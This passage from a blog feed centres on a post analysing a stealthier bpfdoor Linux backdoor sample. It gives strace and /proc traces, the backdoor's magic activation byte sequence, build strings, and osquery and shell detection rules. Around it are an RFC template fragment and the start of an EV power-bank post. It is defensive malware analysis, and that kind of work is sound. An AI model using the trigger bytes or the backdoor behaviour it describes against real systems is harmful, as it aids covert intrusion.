&lt;p&gt;There are tradeoffs to choosing any path: this is where you identify them. Why should we not implement this design? Consider costs in additional complexity, training, reliability, and dollars.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Alternatives Considered&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is the most critical section of an RFC. It serves as an enumeration of ideas imagined that were determined to be suboptimal.&lt;/p&gt;
&lt;p&gt;This section lets readers know you have done your homework and helps them assess if the solution is sized appropriately.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Title of Alternative #1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What other ideas did you consider and discard? What is the impact of not taking this approach?&lt;/p&gt;
</content>
  </entry><entry>
    <title>Fun with the new bpfdoor (2023)</title>
    <link href="https://choosehappy.dev/posts/2023/fun-with-the-new-bpfdoor-2023/"/>
    <updated>2023-05-14T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/fun-with-the-new-bpfdoor-2023/</id>
    <content xml:lang="en" type="html">&lt;p&gt;I was recently provided a sample of the recently announced &lt;a href=&quot;https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game&quot;&gt;stealthier variant of bpfdoor&lt;/a&gt;, malware targeting Linux that is almost certainly a state-funded Chinese threat actor (&lt;a href=&quot;https://malpedia.caad.fkie.fraunhofer.de/actor/red_menshen&quot;&gt;Red Menshen&lt;/a&gt;). The sample analyzed was   &lt;a href=&quot;https://www.virustotal.com/gui/file/afa8a32ec29a31f152ba20a30eb483520fe50f2dce6c9aa9135d88f7c9c511d7&quot;&gt;a8a32ec29a31f152ba20a30eb483520fe50f2dce6c9aa9135d88f7c9c511d7&lt;/a&gt;, detectable by 11 of 62 detectors on VirusTotal.&lt;/p&gt;
&lt;p&gt;I was particularly curious what the bpfdoor surface area looked like, and if it was easy it was to detect using existing open-source tools and common Linux command-line utilities.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/fun-with-the-new-bpfdoor-2023/XIxA7RGD.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To experiment,  I used my favorite VM manager on macOS or Linux for this analysis: &lt;a href=&quot;https://github.com/lima-vm/lima&quot;&gt;Lima&lt;/a&gt;, with the default Ubuntu 22.10 image.&lt;/p&gt;
&lt;!--more--&gt;
&lt;h2&gt;Running bpfdoor as a regular user&lt;/h2&gt;
&lt;p&gt;I first ran bpfdoor as an unprivileged user to see what system calls would be executed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;strace -o /tmp/st.user -f ./x.bin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&#39;ve removed the less interesting lines of output, but the program does astonishingly little:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;2655  execve(&amp;quot;./x.bin&amp;quot;, [&amp;quot;./x.bin&amp;quot;], 0x7fff9dad6ff8 /* 23 vars */) = 0
2655  openat(AT_FDCWD, &amp;quot;/lib/x86_64-linux-gnu/libc.so.6&amp;quot;, O_RDONLY|O_CLOEXEC) = 3
2655  openat(AT_FDCWD, &amp;quot;/var/run/initd.lock&amp;quot;, O_RDWR|O_CREAT, 0666) = -1 EACCES (Permission denied)
2655  flock(-1, LOCK_EX|LOCK_NB)        = -1 EBADF (Bad file descriptor)
2655  clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7ff8d1b39a10) = 2656
2655  +++ exited with 0 +++
2656  close(0)                          = 0
2656  close(1)                          = 0
2656  close(2)                          = 0
2656  setsid()                          = 2656
2656  getrandom(&amp;quot;&#92;xa4&#92;xd5&#92;x9d&#92;x71&#92;xb3&#92;xe0&#92;x98&#92;xe1&amp;quot;, 8, GRND_NONBLOCK) = 8
2656  socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)) = -1 EPERM (Operation not permitted)
2656  exit_group(0)                     = ?
2656  +++ exited with 0 +++
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The only noteworthy things here are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It tries to create /var/run/initd.lock but fails because it requires root&lt;/li&gt;
&lt;li&gt;It tries to set up a raw socket to listen to all protocols but fails because it requires root.&lt;/li&gt;
&lt;li&gt;It forks into the background via &lt;code&gt;clone()&lt;/code&gt; and &lt;code&gt;setsid()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It&#39;s not unusual to see a bug with the flock() call to fd=-1 because openat() returned an error rather than a file handle.&lt;/p&gt;
&lt;h2&gt;Running as root&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;2669  openat(AT_FDCWD, &amp;quot;/var/run/initd.lock&amp;quot;, O_RDWR|O_CREAT, 0666) = 3
2669  flock(3, LOCK_EX|LOCK_NB)         = 0
2669  clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fb6d948ba10) = 3319
2669  exit_group(0 &amp;lt;unfinished ...&amp;gt;
3319  close(0 &amp;lt;unfinished ...&amp;gt;
2669  +++ exited with 0 +++
3319  close(1)                          = 0
3319  close(2)                          = 0
3319  setsid()                          = 3319
3319  getrandom(&amp;quot;&#92;x6c&#92;x07&#92;x1c&#92;x75&#92;x6b&#92;xae&#92;xfe&#92;xdf&amp;quot;, 8, GRND_NONBLOCK) = 8
3319  socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)) = 0
3319  setsockopt(0, SOL_SOCKET, SO_ATTACH_FILTER, {len=30, filter=0x7ffd2270fa90}, 16) = 0
3319  recvfrom(0, &amp;quot;RUU&#92;341&#92;314&#92;22RU&#92;300&#92;250&#92;5&#92;2&#92;10&#92;0E&#92;0&#92;0Lp&#92;220&#92;0&#92;0@&#92;6~&#92;272&#92;300&#92;250&#92;5&#92;2&#92;300&#92;250&amp;quot;..., 65536, 0, NULL, NULL) = 90
3319  recvfrom(0, &amp;quot;RUU&#92;341&#92;314&#92;22RU&#92;300&#92;250&#92;5&#92;2&#92;10&#92;0E&#92;0&#92;0(p&#92;221&#92;0&#92;0@&#92;6~&#92;335&#92;300&#92;250&#92;5&#92;2&#92;300&#92;250&amp;quot;..., 65536, 0, NULL, NULL) = 54
3319  recvfrom(0, &amp;quot;RUU&#92;341&#92;314&#92;22RU&#92;300&#92;250&#92;5&#92;2&#92;10&#92;0E&#92;0&#92;0Lp&#92;222&#92;0&#92;0@&#92;6~&#92;270&#92;300&#92;250&#92;5&#92;2&#92;300&#92;250&amp;quot;..., 65536, 0, NULL, NULL) = 90
3319  recvfrom(0, &amp;quot;RUU&#92;341&#92;314&#92;22RU&#92;300&#92;250&#92;5&#92;2&#92;10&#92;0E&#92;0&#92;0(p&#92;223&#92;0&#92;0@&#92;6~&#92;333&#92;300&#92;250&#92;5&#92;2&#92;300&#92;250&amp;quot;..., 65536, 0, NULL, NULL) = 54
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First, it opens a lock, which works this time:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;-rw-r--r-- 1 root root 0 May 13 12:45 /run/initd.lock
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As mentioned in the &lt;a href=&quot;https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game&quot;&gt;bpfdoor analysis by deep instinct&lt;/a&gt;, we can see that it sets a BPF filter via &lt;code&gt;setsockopt()&lt;/code&gt;, and loops waiting for the magic byte sequence: &lt;code&gt;&#92;x44&#92;x30&#92;xCD&#92;x9F&#92;x5E&#92;x14&#92;x27&#92;x66&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;One thing I find fascinating is how simple the initialization is: the &lt;a href=&quot;https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor&quot;&gt;previous iteration of bpfdoor&lt;/a&gt; did so much more in the name of &amp;quot;stealth&amp;quot;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;copies itself to &lt;code&gt;/dev/shm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;renaming itself in the process table via &lt;code&gt;prctl&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;deletes itself from disk&lt;/li&gt;
&lt;li&gt;timestomping&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Red Menshen must have noticed that every method for achieving stealth is also a reliable detection method. So, the new bpfdoor keeps it simple by not trying to be stealthy. In fact, this binary does so little that it&#39;s suspicious. In 2023, most advanced evasion methods are not worth it on Linux: it is good enough to hide in plain sight.&lt;/p&gt;
&lt;h2&gt;Detection&lt;/h2&gt;
&lt;p&gt;Using the &lt;code&gt;make detect&lt;/code&gt; rule from
&lt;a href=&quot;https://github.com/chainguard/osquery-detection-kit&quot;&gt;osquery-detection-kit&lt;/a&gt;, I examined which existing rules would alert on the presence of the latest bpfdoor. 3 of them did:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/execution/unexpected-raw-socket.sql&quot;&gt;unexpected raw socket&lt;/a&gt;: unexpected packet sniffers, just like this one! Near-zero false-positive rate.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/execution/recently-created-executables-linux.sql&quot;&gt;recently created executables&lt;/a&gt;: programs executed within 45 seconds of when it likely landed on disk, based on ctime and btime. This catch-all has found every malware it&#39;s encountered, but it requires a comprehensive exception list.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/evasion/unexpected-var-run-linux.sql&quot;&gt;unexpected /var/run file&lt;/a&gt;: Inspired by reading the bpfdoor technical analysis, it&#39;s good to see this fired when faced with the real thing.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That said, I think we can do better. Let&#39;s see what the malware looks like from /proc.&lt;/p&gt;
&lt;h2&gt;Exploring bpfdoor using /proc&lt;/h2&gt;
&lt;p&gt;To get an idea of what I can use for further detecting bpfdoor, I wanted to see how it was seen via /proc. First, what libraries does it link against? Based on the report, I&#39;m not expecting anything other than libc:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;% sudo cat /proc/3319/maps

00400000-00448000 r-xp 00000000 fc:01 3210                               /tmp/x.bin
00648000-00649000 r--p 00048000 fc:01 3210                               /tmp/x.bin
00649000-0064a000 rw-p 00049000 fc:01 3210                               /tmp/x.bin
0064a000-0066a000 rw-p 00000000 00:00 0 
00c36000-00c57000 rw-p 00000000 00:00 0                                  [heap]
7fb6d9200000-7fb6d9222000 r--p 00000000 fc:01 3648                       /usr/lib/x86_64-linux-gnu/libc.so.6
7fb6d9222000-7fb6d939b000 r-xp 00022000 fc:01 3648                       /usr/lib/x86_64-linux-gnu/libc.so.6
7fb6d939b000-7fb6d93f2000 r--p 0019b000 fc:01 3648                       /usr/lib/x86_64-linux-gnu/libc.so.6
7fb6d93f2000-7fb6d93f6000 r--p 001f1000 fc:01 3648                       /usr/lib/x86_64-linux-gnu/libc.so.6
7fb6d93f6000-7fb6d93f8000 rw-p 001f5000 fc:01 3648                       /usr/lib/x86_64-linux-gnu/libc.so.6
7fb6d93f8000-7fb6d9405000 rw-p 00000000 00:00 0 
7fb6d948b000-7fb6d948e000 rw-p 00000000 00:00 0 
7fb6d9495000-7fb6d9497000 rw-p 00000000 00:00 0 
7fb6d9497000-7fb6d9498000 r--p 00000000 fc:01 3645                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fb6d9498000-7fb6d94c1000 r-xp 00001000 fc:01 3645                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fb6d94c1000-7fb6d94cb000 r--p 0002a000 fc:01 3645                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fb6d94cb000-7fb6d94cd000 r--p 00034000 fc:01 3645                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fb6d94cd000-7fb6d94cf000 rw-p 00036000 fc:01 3645                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffd226f0000-7ffd22711000 rw-p 00000000 00:00 0                          [stack]
7ffd22720000-7ffd22724000 r--p 00000000 00:00 0                          [vvar]
7ffd22724000-7ffd22726000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What about open file handles?&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;% sudo lsof -p 3319

COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
x.bin   3319 root  cwd    DIR   0,52      200    9 /tmp/lima/osquery-defense-kit/out
x.bin   3319 root  rtd    DIR  252,1     4096    2 /
x.bin   3319 root  txt    REG  252,1   302576 3210 /tmp/x.bin
x.bin   3319 root  mem    REG  252,1  2072888 3648 /usr/lib/x86_64-linux-gnu/libc.so.6
x.bin   3319 root  mem    REG  252,1   228720 3645 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
x.bin   3319 root    0u  pack  33049      0t0  ALL type=SOCK_RAW
x.bin   3319 root    3u   REG   0,25        0 1322 /run/initd.lock
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;lsof is handy, but to see the raw socket from /proc, we need to do a little bit more digging:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;# cat /proc/net/packet

sk               RefCnt Type Proto  Iface R Rmem   User   Inode
ffff92d346ba6800 3      3    88cc   2     1 0      100    19458 
ffff92d34631d800 3      3    0003   0     1 241920 0      33089 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;Inode&lt;/code&gt; field is misleading, but you can use it to find the associated process ID via:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ sudo find /proc -type l -lname &amp;quot;socket:&#92;[33089&#92;]&amp;quot; 2&amp;gt;/dev/null

/proc/3319/task/3319/fd/0
/proc/3319/fd/0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, you can use this to see all filehandles for the process ID:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ ls -la /proc/3319/fd

total 0
dr-x------ 2 root root  0 May 13 13:03 .
dr-xr-xr-x 9 root root  0 May 13 13:03 ..
lrwx------ 1 root root 64 May 13 13:03 0 -&amp;gt; &#39;socket:[33089]&#39;
lrwx------ 1 root root 64 May 13 13:03 3 -&amp;gt; /run/initd.lock
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you have a process ID, you can resolve the path to the program:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;sudo ls -lad /proc/3319/exe

lrwxrwxrwx 1 root root 0 May 14 00:48 /proc/3319/exe -&amp;gt; /tmp/x.bin
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploring bpfdoor using strings&lt;/h2&gt;
&lt;p&gt;Running &lt;code&gt;strings &amp;lt;path&amp;gt;&lt;/code&gt; reveals some interesting messages:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;[-] Execute command failed
/var/run/initd.lock
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;libtom/libtomcrypt has been bundled in, so we see lines such as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;LTC_ARGCHK &#39;%s&#39; failure on line %d of file %s
X.509v%i certificate
  Issued by: [%s]%s (%s)
  Issued to: [%s]%s (%s, %s)
  Subject: %s
  Validity: %s - %s
  OCSP: %s
  Serial number:
...
LibTomCrypt 1.17 (Tom St Denis, tomstdenis@gmail.com)
LibTomCrypt is public domain software.
Built on Oct  4 2022 at 16:09:32
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That last string is important: this iteration of bpfdoor could have been wandering around Cyberspace since October 2022 (7 months ago) without detection. It also appears that the bad guys used Red Hat Enterprise Linux 7.0 (nearly 10 years old!) to build the binary:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;GCC: (GNU) 4.8.5 20150623 (Red Hat 4.8.5-44)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;New detection possibilities&lt;/h2&gt;
&lt;p&gt;After looking at /proc, a couple of new detection ideas came up:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Programs with /var/run lock files open&lt;/li&gt;
&lt;li&gt;Root processes with a socket and no shared libraries&lt;/li&gt;
&lt;li&gt;World-readable lock files in /var/run&lt;/li&gt;
&lt;li&gt;Minimalist socket users with few open files&lt;/li&gt;
&lt;li&gt;Processes where fd 0 is a non-UNIX socket&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are certainly more possibilities depending on how this backdoor is launched: for example, based on cwd or cgroup. I have not yet seen information published on how this backdoor is actually executed.&lt;/p&gt;
&lt;p&gt;I implemented each of these detection ideas: once for osquery to use in production, and once in shell just for fun. The osquery queries have been tested across Ubuntu, Fedora, Arch Linux, and NixOS, and the shell scripts have only been tested on Ubuntu.&lt;/p&gt;
&lt;h3&gt;Programs with /run lock files left open&lt;/h3&gt;
&lt;p&gt;It&#39;s unusual for a program to have an open file in /var/run, but I suspect this may eventually find a false positive. Here&#39;s an osquery and a shell script to find these:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT p.* FROM processes p JOIN process_open_files pof ON p.pid = pof.pid AND pof.path LIKE &amp;quot;/run/%.lock&amp;quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;sudo find /proc -lname &amp;quot;/run/*.lock&amp;quot; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Root processes with a socket and no shared libraries&lt;/h3&gt;
&lt;p&gt;Most programs that use a socket are either fully static, or import a library like OpenSSL. bpfdoor isn&#39;t either. Here is another osquery and shell pair:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT p.*,
    COUNT(DISTINCT pmm.path) AS pmm_count
FROM processes p
    JOIN process_open_sockets pos ON p.pid = pos.pid
    LEFT JOIN process_memory_map pmm ON p.pid = pmm.pid
    AND pmm.path LIKE &amp;quot;%.so.%&amp;quot;
    -- Yes, this is a weird performance optimization
WHERE p.pid IN (
        SELECT pid
        FROM processes
        WHERE p.euid = 0
            AND p.path NOT IN (
                &#39;/usr/bin/containerd&#39;,
                &#39;/usr/bin/fusermount3&#39;,
                &#39;/usr/sbin/acpid&#39;,
                &#39;/usr/sbin/mcelog&#39;,
                &#39;/usr/bin/docker-proxy&#39;
            )
    )
GROUP BY pos.pid -- libc.so, ld-linux
HAVING pmm_count = 2;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;cd /proc || exit

for pid in *; do
    [[ ! -f ${pid}/exe || ${pid} =~ &amp;quot;self&amp;quot; ]] &amp;amp;&amp;amp; continue

    euid=$(grep Uid /proc/${pid}/status | awk &#39;{ print $2 }&#39;)
    [[ &amp;quot;${euid}&amp;quot; != 0 ]] &amp;amp;&amp;amp; continue

    sockets=$(sudo find /proc/${pid}/fd -lname &amp;quot;socket:*&amp;quot; | wc -l)
    [[ &amp;quot;${sockets}&amp;quot; == 0 ]] &amp;amp;&amp;amp; continue

    libs=$(sudo find /proc/${pid}/map_files/ -type l -lname &amp;quot;*.so.*&amp;quot; -exec readlink {} &#92;; | sort -u | wc -l)
    [[ &amp;quot;${libs}&amp;quot; != 2 ]] &amp;amp;&amp;amp; continue

    path=$(readlink /proc/$pid/exe)
    name=$(cat /proc/$pid/comm)
    echo &amp;quot;euid=0 process with sockets and no libs: ${name} [${pid}] at ${path}&amp;quot;
done
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;World readable lock files in /var/run&lt;/h3&gt;
&lt;p&gt;Typically lock files are readable only by the root user. Malware often uses very relaxed file permissions.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT * FROM file WHERE path LIKE &amp;quot;/tmp/%.lock&amp;quot; AND mode = &amp;quot;0644&amp;quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;find /run/*.lock -perm 644
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Minimalist socket users with few open files&lt;/h3&gt;
&lt;p&gt;This creative query reveals minimalist programs that behave like a backdoor might:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;have 0-1 open files&lt;/li&gt;
&lt;li&gt;have 1-2 sockets open&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It&#39;s an uncommon situation, but it is bound to have false positives in software that is designed in a way that each process has a specific role:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT p.pid,
    p.path,
    p.name,
    p.start_time,
    GROUP_CONCAT(DISTINCT pos.protocol) AS protocols,
    pof.path AS pof_path,
    COUNT(DISTINCT pos.fd) AS scount,
    COUNT(DISTINCT pof.path) AS fcount,
    GROUP_CONCAT(DISTINCT pof.path) AS open_files,
    p.cgroup_path
FROM processes p
    JOIN process_open_sockets pos ON p.pid = pos.pid
    AND pos.protocol &amp;gt; 0
    LEFT JOIN process_open_files pof ON p.pid = pof.pid
WHERE p.start_time &amp;lt; (strftime(&#39;%s&#39;, &#39;now&#39;) -60)
AND p.path NOT IN (
    &#39;/bin/registry&#39;,
    &#39;/usr/bin/docker-proxy&#39;,
    &#39;/usr/sbin/chronyd&#39;,
    &#39;/usr/sbin/cups-browsed&#39;,
    &#39;/usr/sbin/cupsd&#39;,
    &#39;/usr/sbin/sshd&#39;
)
AND p.path NOT LIKE &#39;/nix/store/%-openssh-%/bin/sshd&#39;
GROUP BY p.pid
HAVING scount &amp;lt;= 2
    AND fcount &amp;lt;= 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;cd /proc || exit

for pid in *; do
    [[ ! -f ${pid}/exe || ${pid} =~ &amp;quot;self&amp;quot; ]] &amp;amp;&amp;amp; continue

    fds=$(find /proc/${pid}/fd -lname &amp;quot;/*&amp;quot; | wc -l)
    [[ &amp;quot;${fds}&amp;quot; == 0 ]] &amp;amp;&amp;amp; continue
    [[ &amp;quot;${fds}&amp;quot; -gt 1 ]] &amp;amp;&amp;amp; continue

    # WARNING: ss -xp will print two fds on the same line if connected. Use grep -o instead of -c
    #ss -xp | grep -v &amp;quot;^u_&amp;quot; | grep -o pid=${pid},&amp;quot;

    all_sockets=$(find /proc/${pid}/fd -lname &amp;quot;socket:*&amp;quot; | wc -l)
    [[ &amp;quot;${all_sockets}&amp;quot; -gt 2 ]] &amp;amp;&amp;amp; continue

    # this isn&#39;t exactly what we want - ss doesn&#39;t show TYPE=sock of protocol=UNIX :(
    unix_sockets=$(ss -ap | grep &amp;quot;^u_&amp;quot; | grep -o &amp;quot;pid=${pid},&amp;quot; | wc -l)
    sockets=$(($all_sockets - $unix_sockets))

    [[ &amp;quot;${sockets}&amp;quot; == 0 ]] &amp;amp;&amp;amp; continue
    [[ &amp;quot;${sockets}&amp;quot; -gt 2 ]] &amp;amp;&amp;amp; continue

    path=$(readlink /proc/$pid/exe)
    [[ &amp;quot;${path}&amp;quot; == &amp;quot;/usr/sbin/sshd&amp;quot; ]] &amp;amp;&amp;amp; continue

    name=$(cat /proc/$pid/comm)
    echo &amp;quot;minimalist socket user (${sockets} sockets and ${fds} files): ${name} [${pid}] at ${path}&amp;quot;
done

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;fd0 is a socket&lt;/h3&gt;
&lt;p&gt;I&#39;ve saved my favorite for last. File descriptor 0 is usually stdin, but in bpfdoors case, it is actually the socket it uses to listen to traffic on. I&#39;ve never seen this behavior before outside of bpfdoor:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT * FROM process_open_sockets WHERE fd=0 AND family != 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;cd /proc || exit

for pid in *; do
    [[ ! -f ${pid}/exe || ${pid} =~ &amp;quot;self&amp;quot; ]] &amp;amp;&amp;amp; continue

    ino=$(readlink /proc/$pid/fd/0 | grep -o &#39;socket:.*&#39; | cut -d&amp;quot;[&amp;quot; -f2 | cut -d&amp;quot;]&amp;quot; -f1)
    grep -q &amp;quot; ${ino}&amp;quot; /proc/$pid/net/unix &amp;amp;&amp;amp; continue

    path=$(readlink /proc/$pid/exe)
    name=$(cat /proc/$pid/comm)
    echo &amp;quot;fd0 is a socket: ${name} [${pid}] at ${path}&amp;quot;
done
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Final Thoughts&lt;/h2&gt;
&lt;p&gt;Ultimately, I was happy to see that this variant was detectable using osquery-defense-kit, and even happier that I could add additional rules to find future similar malware. Two philosophical viewpoints are critical to success in detection:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Knowing what is considered normal in your environment&lt;/li&gt;
&lt;li&gt;Evasion is a means of detection&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you are interested in open-source queries that can find bpfdoor and other unusual programs, check out:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/chainguard-dev/osquery-defense-kit/&lt;/li&gt;
&lt;li&gt;https://github.com/tstromberg/sunlight&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Thanks to &lt;a href=&quot;https://cyberplace.social/@GossiTheDog&quot;&gt;Kevin Beaumont&lt;/a&gt; for providing the bpfdoor sample for analysis.&lt;/p&gt;
</content>
  </entry><entry>
    <title>DIY Electric Jerry Can</title>
    <link href="https://choosehappy.dev/posts/2023/diy-electric-jerry-can/"/>
    <updated>2023-05-12T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/diy-electric-jerry-can/</id>
    <content xml:lang="en" type="html">&lt;p&gt;In the 1930s, Vinzenz Grünvogel designed the &lt;em&gt;Wehrmacht-Einheitskanister&lt;/em&gt;: an ingenious container that was stackable, carried liquid without spilling and was easy to carry. The design was so popular that nations around the world copied it, and in the United States, it became known as a “Jerry Can” (Jerry being slang for “German”).&lt;/p&gt;
&lt;p&gt;This project shares none of those attributes.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/diy-electric-jerry-can/rvh9B0ox.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;h3&gt;The Range Anxiety Problem&lt;/h3&gt;
&lt;p&gt;Before I bought the&lt;a href=&quot;https://www.bmwmotorcycles.com/en/models/urban_mobility/ce04.html&quot;&gt; BMW CE-04&lt;/a&gt; — an insanely fun electric scooter, I knew there would be range issues. With a relatively small 8.2kWh battery, the range varies highly depending on the speed of the road you are traveling on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;35mph (55km/h) → 75 miles (120 km) of range&lt;/li&gt;
&lt;li&gt;55mph (90km/h) → 60 miles (95 km) of range&lt;/li&gt;
&lt;li&gt;75mph (120km/h) → 40 miles (65 km) of range&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/diy-electric-jerry-can/CTLEu5Y1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unlike larger EVs, this scooter does not give you a range estimate for a destination or direct you to EV chargers when running low. If you are going to use a short-range EV for long-distance trips, you will need to plan ahead using tools like&lt;a href=&quot;https://abetterrouteplanner.com/&quot;&gt; ABetterRoutePlanner&lt;/a&gt; and PlugShare.&lt;/p&gt;
&lt;p&gt;Even with proper planning, you can find yourself in a situation where you consume more charge than you’ve planned: for example, by speeding or taking a wrong turn onto a 70 mph highway.&lt;/p&gt;
&lt;h3&gt;The rough plan&lt;/h3&gt;
&lt;p&gt;Long-distance “Adventure” motorcyclists often pack a&lt;a href=&quot;https://twistedthrottle.com/shop/luggage/fuel-bottles-and-mounts/msr-30oz-fuel-bottle/&quot;&gt; small fuel canister for emergencies&lt;/a&gt;. Jeep drivers often bring full-sized Jerry Cans. Why not do the same for EVs?&lt;/p&gt;
&lt;p&gt;It’s easy enough to find large power banks: Jackery, Anker, EcoFlow, and Goal-Zero will all happily sell you one. The challenge was finding a power bank that stored enough charge to be helpful (800 - 1200 kWh) and could fit in the helmet compartment of the CE-04. After taking measurements, I was confident that the&lt;a href=&quot;https://www.jackery.com/products/explorer-1000-portable-power-station&quot;&gt; Jackery 1000&lt;/a&gt; might just work, so I waited for it to go on sale.&lt;/p&gt;
&lt;h3&gt;Early experiments were full of fail&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/diy-electric-jerry-can/2lkNRGdu.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;My first experiments went poorly: both the BMW (Delphi) EV charger and the Tesla Mobile Connector refused to charge from the Jackery 1000 due to the lack of proper ground. I soon learned that the&lt;a href=&quot;https://en.wikipedia.org/wiki/SAE_J1772&quot;&gt; SAE J1772&lt;/a&gt; EV charger specifications required ground monitoring for safety reasons.&lt;/p&gt;
